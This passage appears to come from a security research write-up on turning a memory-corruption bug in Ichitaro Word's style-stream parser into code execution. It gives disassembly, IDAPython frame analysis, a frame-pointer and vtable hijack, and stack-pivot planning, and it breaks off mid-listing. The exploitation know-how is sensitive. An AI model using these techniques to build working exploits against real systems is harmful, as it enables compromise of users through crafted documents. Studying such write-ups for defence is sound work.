int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
int __cdecl object_OSEG::read_ushort_3a7664(JSVDA::object_OSEG *ap_this_0, _WORD *ap_result_4)
_DWORD *__thiscall sub_3BE29547(_DWORD *this, __int16 arg_0, int arg_4)
void return_3a9638()
struc_3a9de4 *__thiscall constructor_3a9de4(struc_3a9de4 *this)
object_9bd120 *__thiscall object_10cbd2::get_field(38)_7b15a6(object_10cbd2 *this, __int16 avw_noCreate_0)
object_9bd0e4 *__thiscall object_10cbd2::get_field(34)_7b9e07(object_10cbd2 *this, __int16)
void __EH_epilog3_GS)

# Only this prototype references our object as its "this" parameter.
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)

From the results in the listing, it seems that the struc_3a9de4::parseStylesContent_3a7048 method references our desired type as its this parameter. During review of the struc_3a9de4::parseStylesContent_3a7048 method, the object represented by this is stored in the %edi register. Our goal is now to find a pointer to this structure either by being directly referenced or through the %edi register from this method. To find a candidate, we can manually walk from the call stack and enumerate all the places where the type is used, or we can utilize a debugger to monitor the places that reference anything within the structure. Fortunately, our search space is relatively small and we can easily find it in the following listing.

.text:3BE27048 000                 push    ebp
.text:3BE27049 004                 mov     ebp, esp
.text:3BE2704B 004                 sub     esp, 0Ch
.text:3BE2704E 010                 and     [ebp+lv_result_4], 0
.text:3BE27052 010                 push    ebx
.text:3BE27053 014                 mov     ebx, [ebp+ap_oseg_0]                             ; parameter: struc_3a9de4 *this
...
.text:3BE274D4     loc_3BE274D4:
.text:3BE274D4 01C                 mov     ecx, [ecx+object_9c2044.v_data_290.p_object_84]
.text:3BE274DA 01C                 mov     eax, [ecx+object_9c2d50.v_data_4.p_object_60]
.text:3BE274DD 01C                 test    eax, eax
.text:3BE274DF 01C                 jnz     short loc_3BE274EE
.text:3BE274E1 01C                 call    object_9c2d50::create_field(64)_6bf3a6
.text:3BE274E6 01C                 test    eax, eax
.text:3BE274E8 01C                 jz      loc_3BE27625
.text:3BE274EE
.text:3BE274EE     loc_3BE274EE:
.text:3BE274EE 01C                 lea     ecx, [ebp+lv_result_4]
.text:3BE274F1 01C                 push    ecx
.text:3BE274F2 020                 push    dword ptr [ebp+ap_unkobjectunion_10]
.text:3BE274F5 024                 mov     ecx, eax
.text:3BE274F7 024                 push    [edi+struc_3a9de4.v_documentType_8]
.text:3BE274FA 028                 push    [ebp+ap_oseg_0]
.text:3BE274FD 02C                 push    [edi+struc_3a9de4.v_header_long_4]
.text:3BE27500 030                 push    ebx                                              ; pushed onto stack
.text:3BE27501 034                 call    object_9d0d30::readStyleType(2008)_391906
.text:3BE27506 01C                 jmp     loc_3BE2736F

If we examine the caller of the object_9d0d30::readStyleType(2008)_391906, and traverse backward from it, the first call instruction that we encounter calls a method named object_9c2d50::create_field(64)_6bf3a6. This method is also called on the condition that a field, object_9c2d50::v_data_4::p_object_60 is initialized as zero. The relevant path from the beginning of the encompassing method to the conditionally called method is shown in the prior listing.

Due to both the object_9c2d50::create_field(64)_6bf3a6 and object_9d0d30::readStyleType(2008)_391906 functions being called by the same function, their frames are guaranteed to overlap. We aim to identify a function that preserves the %edi register as part of its prolog by performing a breadth-first search from the struc_3a9de4::parseStylesContent_3a7048 method and using the results to build a list of candidate call stacks that could be filtered.

The following listing combines the call stack from the scope of the vulnerability to identify the candidate range to use when filtering the results. In this listing, the range is from -0xAC to -0x58. By applying this filter to our candidates, we discover that the prolog for function 0x3BDFD8F8 stores several registers within this range. One of these registers is our desired %edi register, which is at offset -0xA4 in our listing. This overlaps with the lv_wstring(28)_54 field belonging to our vulnerable function's frame.

# Assign the callstacks that we will be comparing.
callstack_for_vulnerability =                           [0x3be11906, 0x3be27048]
callstack_for_conditional =     [0x3c36a51f, 0x3bdfd8f8, 0x3c13f3a6, 0x3be27048]

# Print out the first layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[<class 'structure' name='$ F3BE11906' offset=-0x11c size=0xe4>
     -11c+0x10                                          [None, 16]
[0]  -10c+0x4                  int 'var_B4'             (<class 'int'>, 4)
[1]  -108+0x4                  int 'var_B0'             (<class 'int'>, 4)
[2]  -104+0x2              __int16 'var_AC'             (<class 'int'>, 2)
...
[8]   -c+0x4                 int 'av_currentStreamState?_c' (<class 'int'>, 4)      # [note] usually 2, and seems to be only used during function exit
[9]   -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10'     <class 'union' name='frame_3a7048_arg_10' offset=-0x8 size=0x4>
[10]  -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14'           <class 'union' name='frame_3a7048_arg_14' offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010

# Print out the second layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_conditional)))]
[<class 'structure' name='$ F3C36A51F' offset=-0x98 size=0x8>
[0] -98+0x4 char[4] ' r'    [(<class 'int'>, 1), 4]
[1] -94+0x4     int 'arg_0' (<class 'int'>, 4), <class 'structure' name='$ F3BDFD8F8' offset=-0x90 size=0x30>
    -90+0x10                      [None, 16]
[0] -80+0x4      int 'var_10'     (<class 'int'>, 4)
...
[5]  -18+0x4 JSVDA::object_OSEG* 'ap_oseg_0'                (<class 'type'>, 4)
[6]  -14+0x4                 int 'av_position(lo)_4'        (<class 'int'>, 4)
[7]  -10+0x4                 int 'av_position(hi)_8'        (<class 'int'>, 4)
[8]   -c+0x4                 int 'av_currentStreamState?_c' (<class 'int'>, 4)      # [note] usually 2, and seems to be only used during function exit
[9]   -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10'     <class 'union' name='frame_3a7048_arg_10' offset=-0x8 size=0x4>
[10]  -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14'           <class 'union' name='frame_3a7048_arg_14' offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010

# Emit the members from the vulnerability's backtrace that are worth dereferencing.
Python> [frame.members.list(bounds=(-0xc4, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[19] -c4:+0x18 object_9d15a0*[6] 'lv_objects(6)_6c'  [(<class 'type'>, 4), 6]
[20] -ac:+0x50       wchar_t[40] 'lv_wstring(28)_54' [(<class 'int'>, 2), 40]
[21] -5c:+0x4                int 'var_4'             (<class 'int'>, 4)

# Emit the members within the other backtrace that overlaps "lv_wstring(28)_54".."var_4".
Python> [frame.members.list(bounds=(-0xac, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_conditional))]
[2] -ac:+0x4     int 'var_14'        (<class 'int'>, 4)
[3] -a8:+0x4     int 'lv_canary_10'  (<class 'int'>, 4)
[4] -a4:+0x4     int 'lv_reg(edi)_c' (<class 'int'>, 4)
[5] -a0:+0x4     int 'lv_reg(esi)_8' (<class 'int'>, 4)
[6] -9c:+0x4     int 'lv_reg(ebx)_4' (<class 'int'>, 4)
[7] -98:+0x4 char[4] ' r'            [(<class 'int'>, 1), 4]
[8] -94:+0x4     int 'arg_0'         (<class 'int'>, 4)
[0] -80:+0x4     int 'var_10'     (<class 'int'>, 4)
[1] -74:+0x4     int 'var_4'      (<class 'int'>, 4)
[2] -70:+0x4 char[4] ' s'         [(<class 'int'>, 1), 4]
[3] -6c:+0x4 char[4] ' r'         [(<class 'int'>, 1), 4]
[4] -68:+0x4     int 'ap_owner_0' (<class 'int'>, 4)
[5] -64:+0x4     int 'ap_owner_4' (<class 'int'>, 4)

There is a caveat, however, due to the object_9c2d50::create_field(64)_6bf3a6 method only being called when the object_9c2d50.v_data_4.p_object_60 field is initialized with 0x00000000. Hence, we will use the decompiler to locate all known global references to this field within our scope and use them to determine if there is some way that we may initialize this value.

Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word

Unfortunately from these results, it turns out that the object_9c2d50.v_data_4.p_object_60 field is only initialized upon entry and exit and requires that this object is not constructed by any of the other record types. Verifying this using the debugger shows that this condition prevents us from using any of the other available record types that were necessary to leverage this path.

However, there are still more candidates we can go through. Another is at the first function call inside struc_3a9de4::parseStylesContent_3a7048. This descends into the struc_3a9de4::readBoxHeader?_3a6fae function, which then depends on a method defined within the JSVDA.DLL library. The prolog of this method also pushes the %edi register onto the stack. If we set a memory access breakpoint on writing to this address and modify our document to avoid hitting any of the other conditionals that we’ve identified within the function, we can confirm that the preserved reference to lv_struc_38 is accessible to us within our desired range. 

Finally, we’ve been able to expand the capabilities of our vulnerability, which was originally an out-of-bounds array index, to a relative dereference with a 32-bit write. Then we reused some of the capabilities within the function that contained the vulnerability to promote the vulnerability into an arbitrary length write to an absolute address. Afterward, we leveraged the control flow to allow us to perform a frame-pointer overwrite for the frame preserved by the object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 method which belongs to its caller, the object_9c2044::method_processStreams_77af0f method. After the application has parsed our steam and returns to this method, we should have control of the frame pointer and the method’s local variables as a consequence. This should enable us to hijack execution more elegantly and still allow us to repair the damage that we’ve done with our vulnerability.

Hijacking frame pointer

Once we’ve developed the ability to control a frame pointer for a method that is still within our scope of processing our document, we can examine the frame and determine what might be available for us to modify with our present capabilities. The frame that we’ve overwritten in the prior section shows that we'll be able to control only a few variables. Unfortunately, at this point, the stream that we used to exercise the vulnerability has been closed, and if we tamper with this frame directly and the method ends up completing execution, the epilog of the function will fail due to its canary check resulting in fast-termination and process exit.

# List the frame belonging to the caller of the function containing the vulnerability.
<class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>
[0]  -264+0x4                       int 'var_25C'            (<class 'int'>, 4)
[1]  -260+0x4                       int 'var_258'            (<class 'int'>, 4)
[2]  -25c+0x4                       int 'var_254'            (<class 'int'>, 4)
[3]  -258+0x4                       int 'var_250'            (<class 'int'>, 4)
[4]  -254+0x18  frame_77af0f::field_24c 'lv_struc_24c'       <class 'structure' name='frame_77af0f::field_24c' offset=-0x254 size=0x18>
[5]  -23c+0x4                       int 'lp_stackObject_234' (<class 'int'>, 4)
[6]  -238+0x4       JSVDA::object_OFRM* 'lp_oframe_230'      (<class 'type'>, 4)
[7]  -234+0x228           object_2f27f8 'lv_object_22c'      <class 'structure' name='object_2f27f8' offset=-0x234 size=0x228>
[8]    -c+0x4                       int 'lv_result_4'        (<class 'int'>, 4)
[9]    -8+0x4                   char[4] ' s'                 [(<class 'int'>, 1), 4]
[10]   -4+0x4                   char[4] ' r'                 [(<class 'int'>, 1), 4]
[11]    0+0x4       JSVDA::object_OFRM* 'ap_oframe_0'        (<class 'type'>, 4)
[12]    4+0x4              unsigned int 'av_documentType_4'  (<class 'int'>, 4)
[13]    8+0x4              unsigned int 'av_flags_8'         (<class 'int'>, 4)
[14]    c+0x4             struc_79aa9a* 'ap_stackobject_c'   (<class 'type'>, 4)
[15]   10+0x4                       int 'ap_null_10'         (<class 'int'>, 4)

# The object located at offset -0x238 of the frame.
<class 'structure' name='JSVDA::object_OFRM' size=0x8> // [alloc.tag] OFRM
[0] 0+0x4 int 'p_vftable_0' (<class 'int'>, 4) // [vftable] 0x278186F0
[1] 4+0x4 int 'v_index_4'   (<class 'int'>, 4) // {'note': 'object_117c5 handle', 'alloc.tag': 'MFCM', '__name__': 'v_index_4'}

This listing shows the contents of the object that we’ll be using. As previously mentioned, it contains a single field and is used to read from the document. This field is an integer representing an index into an array of objects within an entirely different module. Each object from this external array is an opened document which varies depending on the usage of the application. Hence, this field can be treated as a handle that might not be forgeable without knowledge of the contents of the module or the actions the user has already made.

However, we do have control of this object’s virtual method table reference, and since we haven't completely broken the application yet, we can capture the handle from elsewhere and use it to re-forge this object at a later stage once we've earned control of the stack. After this, we can then repair the frame during our loader to remain in good standing with the application.

.text:3C1FB1B6     loc_3C1FB1B6:
.text:3C1FB1B6 260                 push    [ebp+av_flags_8]
.text:3C1FB1B9 264                 mov     eax, [ebp+av_flags_8]
.text:3C1FB1BC 264                 push    ecx
.text:3C1FB1BD 268                 and     eax, 800h
.text:3C1FB1C2 268                 mov     ecx, esi
.text:3C1FB1C4 268                 push    ebx
.text:3C1FB1C5 26C                 mov     [ebp+lv_struc_24c.field_14], eax
.text:3C1FB1CB 26C                 call    object_9c2044::parseStream(DocumentViewStyles)_3a790a ; [note.exp] define some styles, ensure everything is initialized.
.text:3C1FB1D0 260                 mov     ebx, eax
.text:3C1FB1D2 260                 cmp     ebx, edi
.text:3C1FB1D4 260                 jnz     loc_3C1FAFD2

.text:3C1FB1DA 260                 push    [ebp+av_flags_8]
.text:3C1FB1DD 264                 mov     ecx, esi
.text:3C1FB1DF 264                 push    [ebp+av_documentType_4]
.text:3C1FB1E2 268                 push    [ebp+lp_oframe_230]
.text:3C1FB1E8 26C                 call    object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 ; [note.exp] hijack frame pointer here
.text:3C1FB1ED 260                 mov     ebx, eax
.text:3C1FB1EF 260                 cmp     ebx, edi
.text:3C1FB1F1 260                 jnz     loc_3C1FAFD2

.text:3C1FB1F7 260                 push    [ebp+lp_stackObject_234]
.text:3C1FB1FD 264                 mov     ecx, [esi+2D8h] ; this
.text:3C1FB203 264                 push    [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268                 push    [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C                 push    [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270                 call    object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
.text:3C1FB214 264                 mov     ebx, eax
.text:3C1FB216 264                 cmp     ebx, edi
.text:3C1FB218 264                 jnz     loc_3C1FAFD2

The first place we'll be able to hijack execution is when the object owning the virtual method table that we’re taking control of is used to open up the next stream. The code that is listed shows the scope during which we control the frame pointer. In our exploit, this is where we hijack execution and completely pivot to a stack that we control to complete the necessary tasks for loading executable code into the address space. 

.text:3C1FB1F7 260                 push    [ebp+lp_stackObject_234]
.text:3C1FB1FD 264                 mov     ecx, [esi+2D8h] ; this
.text:3C1FB203 264                 push    [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268                 push    [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C                 push    [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270                 call    object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
\
.text:3C1F8971 000                 push    0A4h
.text:3C1F8976 004                 mov     eax, offset byte_3C3CCE1A
.text:3C1F897B 004                 call    __EH_prolog3_catch_GS
.text:3C1F8980 0C4                 mov     edi, ecx
.text:3C1F8982 0C4                 mov     [ebp+lp_this_64], edi
...
.text:3C1F89B1 0C4                 lea     eax, [ebp+lp_stream_50]
.text:3C1F89B4 0C4                 push    eax
.text:3C1F89B5 0C8                 push    ebx
.text:3C1F89B6 0CC                 call    object_FRM::getStream(GroupingFileName)_1b974d
\
.text:3BC3974D 000                 push    ebp
.text:3BC3974E 004                 mov     ebp, esp
.text:3BC39750 004                 push    [ebp+ap_result_4] ; JSVDA::object_OSEG **
.text:3BC39753 008                 push    10h             ; av_flags_8
.text:3BC39755 00C                 push    offset str.GroupingFileName ; [OpenStreamByName.reference] 0x3bc3975d
.text:3BC3975A 010                 push    [ebp+ap_oframe_0] ; ap_oframe_0
.text:3BC3975D 014                 call    object_OFRM::openStreamByName?_132de4
\
.text:3BBB2DE4 000                 push    ebp
.text:3BBB2DE5 004                 mov     ebp, esp
.text:3BBB2DE7 004                 push    ecx
.text:3BBB2DE8 008                 mov     eax, ___security_cookie
.text:3BBB2DED 008                 xor     eax, ebp
.text:3BBB2DEF 008                 mov     [ebp+var_4], eax
...
.text:3BBB2E1D     loc_3BBB2E1D:
.text:3BBB2E1D 00C                 push    [ebp+ap_result_c]
.text:3BBB2E20 010                 mov     ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010                 push    0
.text:3BBB2E25 014                 push    [ebp+av_flags_8]
.text:3BBB2E28 018                 mov     edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] this is ours
.text:3BBB2E2A 018                 push    0
.text:3BBB2E2C 01C                 push    eax
.text:3BBB2E2D 020                 push    ecx
.text:3BBB2E2E 024                 call    dword ptr [edx+10h] ; [note.exp] branch here
\
; int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
.text:277CB5C5     object_OFRM::method_openStream_2b5c5 proc near
.text:277CB5C5
.text:277CB5C5 000                 push    ebp
.text:277CB5C6 004                 mov     ebp, esp
.text:277CB5C8 004                 push    ecx
.text:277CB5C9 008                 push    ecx
.text:277CB5CA 00C                 push    ebx
.text:277CB5CB 010                 mov     ebx, [ebp+ap_result_14]
...

In the listing, we descend through the different methods that get called during execution until we reach a virtual method named JSVDA::object_OFRM::method_openStream_2b5c5. This method is dereferenced and then called to open up the next stream from the document. This is the virtual method that we will be using to hijack execution.

The JSVDA::object_OFRM::method_openStream_2b5c5 virtual method belongs to the JSVDA.DLL module and takes six parameters before being called. This will need to be taken into account during our repurposing. As the stack will be adjusted by the implementation pushing said parameters and the preserved return address onto the stack, we will be required to include this adjustment in our new frame.

At this point, we have everything we need to execute code. However, we’ll need some way to resume execution after our instructions have been executed. To accomplish this, we’ll need to pivot the stack to one that we control. Generally, there are two ways in which we can pivot the stack. One way is to find a predictable address that we can write the addresses into, and then use a pivot that lets us perform an explicit assignment of that address to the %esp register. Another way is to adjust the %esp register to reference a part of the stack where we control its contents. To avoid having to write another contiguous chunk of data to a some known location using the vulnerability, the latter methodology was chosen as the primary candidate.

Pivoting Stack Pointer

Although we control a frame pointer and can use it to assign an arbitrary value to the instruction pointer, we do not have a clear way to execute multiple sequences of instructions to load executable code from our document. Hence, we need some way to set the stack pointer to a block of memory that we can use to resume execution after executing each chunk required to load our payload.

As mentioned previously, the vulnerability occurs within the very first stream that is parsed by the target. Hence, due to our document not being able to influence much in the application, it is necessary to find logic within the stream parser to satisfy our needs. As we’re attempting to execute code residing at multiple locations within a module, we’ll need some logic within the stream parsing implementation that can be used to load a large amount of our data into the application’s stack. To discover this, we can use a quick script at the entry point of the style record parser to enumerate all of the functions being called and identify the ones that have the large size allocated for its frame.

In the following query, it appears that object_9c2044::readStyleType(1000)_4d951d is a likely candidate. Through manual reversing of the method, we can prove that its implementation allocates 0x18C8 bytes on the stack and reads 0x1000 bytes from its associated record directly into this allocated buffer.

# Grab the address of the function containing the different cases for record parsing
Python> f = db.a('struc_3a9de4::parseStylesContent_3a7048')

# List all functions that are called that also have a frame.
Python> db.functions.list(frame=True, ea=[ins.op_ref(oref) for oref in func.calls(f) if 'x' in oref])
[0]  +0x0b8d12 : 0x3bb38d12..0x3bb38d71 : (1) FvD+ : __thiscall object_9c2d50::get_field(180)_b8d12                  : lvars:001c args:2 refs:7   exits:1
[1]  +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a                  : lvars:001c args:2 refs:100 exits:1
[2]  +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ :    __cdecl object_OSEG::setCurrentStreamPosition_1329ce         : lvars:0000 args:5 refs:182 exits:1
[3]  +0x1b6bf7 : 0x3bc36bf7..0x3bc36d66 : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1000)_1b6bf7            : lvars:0044 args:4 refs:1   exits:1
[4]  +0x1b8cd2 : 0x3bc38cd2..0x3bc38d0b : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1001)_1b8cd2            : lvars:0004 args:4 refs:1   exits:1
[5]  +0x1b8f99 : 0x3bc38f99..0x3bc39723 : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1b8f99            : lvars:00a0 args:7 refs:2   exits:1
[6]  +0x1cdcf6 : 0x3bc4dcf6..0x3bc4df7b : (1) FvD* : __thiscall object_9bd184::readStyleType(2002)_1cdcf6            : lvars:0040 args:5 refs:1   exits:1
[7]  +0x1d24a9 : 0x3bc524a9..0x3bc52bef : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1d24a9            : lvars:00b4 args:6 refs:1   exits:1
[8]  +0x1d63a3 : 0x3bc563a3..0x3bc56601 : (1) FvT* : __thiscall object_9bd120::readStyleType(2003)_1d63a3            : lvars:0094 args:5 refs:1   exits:1
[9]  +0x391906 : 0x3be11906..0x3be11d9c : (1) FvT* : __thiscall object_9d0d30::readStyleType(2008)_391906            : lvars:00c4 args:7 refs:1   exits:2
[10] +0x392cab : 0x3be12cab..0x3be12ee2 : (1) FvT* : __thiscall object_9d0d30::readStyleType(2010)_392cab            : lvars:0064 args:7 refs:1   exits:1
[11] +0x393e4b : 0x3be13e4b..0x3be13f08 : (1) F-D+ :    __cdecl object_OSEG::pushCurrentStream?_393e4b               : lvars:000c args:5 refs:1   exits:1
[12] +0x3a6bec : 0x3be26bec..0x3be26cb2 : (1) FvD* : __thiscall struc_3a9de4::readStyleType(2005)_3a6bec             : lvars:0014 args:4 refs:1   exits:1
[13] +0x3a6cf0 : 0x3be26cf0..0x3be26d44 : (1) FvD+ :    __cdecl object_OSEG::decode_long_3a6cf0                      : lvars:001c args:2 refs:86  exits:1
[14] +0x3a6d44 : 0x3be26d44..0x3be26d8b : (1) FvT+ : __thiscall box_header::deserialize_3a6d44                       : lvars:000c args:2 refs:7   exits:1
[15] +0x3a6d8b : 0x3be26d8b..0x3be26fae : (1) F-T+ : __thiscall struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b : lvars:0008 args:2 refs:11  exits:1
[16] +0x3a6fae : 0x3be26fae..0x3be27048 : (1) FvT+ : __thiscall struc_3a9de4::readBoxHeader?_3a6fae                  : lvars:0024 args:2 refs:2   exits:1
[17] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ :    __cdecl object_OSEG::read_ushort_3a7664                      : lvars:001c args:2 refs:90  exits:1
[18] +0x3a96ed : 0x3be296ed..0x3be2972f : (1) F-D+ : __thiscall struc_3a9de4::get_flagField_3a96ed                   : lvars:0008 args:2 refs:2   exits:1
[19] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* :    __cdecl object_9c2044::readStyleType(1000)_4d951d            : lvars:18d4 args:4 refs:1   exits:1
[20] +0x6bf3a6 : 0x3c13f3a6..0x3c13f3e7 : (1) FvD+ : __thiscall object_9c2d50::create_field(64)_6bf3a6               : lvars:0020 args:1 refs:7   exits:1
[21] +0x779662 : 0x3c1f9662..0x3c1f96c0 : (1) F-t+ : __thiscall sub_3C1F9662                                         : lvars:0004 args:2 refs:3   exits:1
[22] +0x779828 : 0x3c1f9828..0x3c1f98ad : (1) FvD* : __thiscall object_9e82a0::deserialize_field_779828              : lvars:0028 args:2 refs:1   exits:1
[23] +0x77a7bf : 0x3c1fa7bf..0x3c1fa892 : (1) FvD* : __thiscall object_e7480::readStyleType(1002)_77a7bf             : lvars:0028 args:6 refs:1   exits:1
[24] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6                  : lvars:001c args:2 refs:36  exits:1
[25] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07                  : lvars:001c args:2 refs:98  exits:1
[26] +0x861925 : 0x3c2e1925..0x3c2e1993 : (1) FvD+ : __thiscall object_9e82a0::method_createfield_861925             : lvars:0040 args:1 refs:2   exits:1

# It looks like item #19, object_9c2044::readStyleType(1000)_4d951d, has more space allocated for its "lvars" than any of the others.

At this point, we can adjust the proof-of-concept for the vulnerability to include the 0x1000 record type. Then we can set a breakpoint on the method to prove that it is being executed during runtime. After setting the breakpoint, however, the method does not get executed. Instead, another function, object_9e5ffc::readStyleType(1000)_1b6bf7, is called to read record type 0x1000. After reversing the contents of this method, we are fortunate in that it uses a different methodology to allocate 0x1020 bytes on the stack. This likely would have been found if we had expanded our query as in the following listing.

# Define a few temporary functions.
def guess_prolog(f, minimum):
    '''Use the stackpoints to guess the prolog by searching for a minimum. Right way would be to check "$ ignore micro"...'''
    fn, start = func.by(f), func.address(f)
    iterable = (ea for ea, delta in func.chunks.stackpoints(f) if abs(idaapi.get_sp_delta(fn, ea)) > minimum)
    return start, next(iterable, start)

# No register calls
filter_out_register = lambda opref: not isinstance(ins.op(opref), register_t)

# Use itertools.chain to flatten results through db.functions
flatten_calls = lambda fs: set(itertools.chain(fs, db.functions(ea=filter(func.has, map(ins.op_ref, itertools.chain(*map(func.calls, fs)))))))

# Start at style record parser, flatten the first layer of calls.
Python> f = db.a('struc_3a9de4::parseStylesContent_3a7048')
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))))
[0]   +0x00140c : 0x3ba8140c..0x3ba81412 : (1) J-D* : __thiscall JSFC_2094                                            : lvars:0000 args:8 refs:2256  exits:0
[1]   +0x089368 : 0x3bb09368..0x3bb0936e : (1) J-D* :  __stdcall JSFC_5190                                            : lvars:0000 args:2 refs:25    exits:0
[2]   +0x090e42 : 0x3bb10e42..0x3bb10e48 : (1) J-D* : __thiscall JSFC_5438                                            : lvars:0000 args:3 refs:32    exits:0
[3]   +0x0915ea : 0x3bb115ea..0x3bb115f0 : (1) J-D* : __thiscall JSFC_3583                                            : lvars:0000 args:2 refs:620   exits:0
...
[120] +0x8ea58a : 0x3c36a58a..0x3c36a5c1 : (1) LvD+ : __usercall __EH_prolog3_catch                                   : lvars:0000 args:1 refs:1613  exits:1
[121] +0x8ea600 : 0x3c36a600..0x3c36a62d : (1) LvD+ : __usercall __alloca_probe                                       : lvars:0000 args:2 refs:1082  exits:1
[122] +0x8ea914 : 0x3c36a914..0x3c36a920 : (1) LvD+ :  __unknown ___report_rangecheckfailure                          : lvars:0000 args:0 refs:104   exits:2

# Filter those 123 functions looking for one with a large frame size.
Python> db.functions.list(ea=flatten_calls(func.calls(f)), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1

# Search another layer deeper.
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x1b6d66 : 0x3bc36d66..0x3bc36e26 : (1) F?D+ :    __cdecl object_OSEG::method_readHugeBuffer(1000)_1b6d66 : lvars:1020 args:7 refs:2 exits:1
[1] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* :    __cdecl object_9c2044::readStyleType(1000)_4d951d       : lvars:18d4 args:4 refs:1 exits:1
[2] +0x77ad4b : 0x3c1fad4b..0x3c1fae93 : (1) FvD+ : __thiscall sub_3C1FAD4B                                    : lvars:1074 args:1 refs:1 exits:1

# 3 results. Record type 0x1000 looks like it's worth considering (and hence was named as such).

We can confirm this method satisfies our requirements during runtime by setting a breakpoint on this method and verifying that the object_9e5ffc::readStyleType(1000)_1b6bf7 method loads 0x1000 bytes of data from the stream onto the stack.

Now that we’ve found a candidate with the ability to read a large amount of data from the stream into its frame, we’ll need to know how much to adjust the stack pointer to reach it. To determine this value, we'll need to calculate the distance between the offset of the 0x1000-sized buffer, and the value of the stack pointer at the time that we intend to control execution. The backtrace of both these points intersect in the method at 0x3C1FAF0F, object_9c2044::method_processStreams_77af0f. Thus, we will only need the distance from the frame belonging to that function.

# Backtraces for the function where we hijack execution and where we can allocate a huge stack buffer.
Python> hijack_backtrace =                       [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> huge_backtrace = [0x3bc36d66, 0x3bc36bf7, 0x3be27048, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]

Python> diffindex = next(index for index, (L1,L2) in enumerate(zip(hijack_backtrace[::-1], huge_backtrace[::-1])) if L1 != L2)
Python> assert(hijack_backtrace[-diffindex] == huge_backtrace[-diffindex])

# Use the index as the common function call, and grab all the frames that are distinct.
Python> commonframe = func.frame(hijack_backtrace[-diffindex])
Python> hijack, huge = (listmap(func.frame, items) for items in [hijack_backtrace[:-diffindex], huge_backtrace[:-diffindex]])

# Display the functions belonging to the callstacks where we want to hijack execution,
# and the function to use for allocating a large amount of data from the document.
Python> pp(listmap(fcompose(func.by, func.name), hijack + [commonframe])[::-1])
['object_9c2044::method_processStreams_77af0f',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'object_OFRM::openStreamByName?_132de4']

Python> pp(listmap(fcompose(func.by, func.name), huge + [commonframe])[::-1])
['object_9c2044::method_processStreams_77af0f',
 'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
 'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
 'struc_3a9de4::parseStylesContent_3a7048',
 'object_9e5ffc::readStyleType(1000)_1b6bf7',
 'object_OSEG::method_readHugeBuffer(1000)_1b6d66']

# Display the frame belonging to the function triggering the vulnerability. We will be hijacking the return
# pointer inside this frame at -0xA8 from the frame for `object_9c2044::method_processStreams_77af0f`.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0]
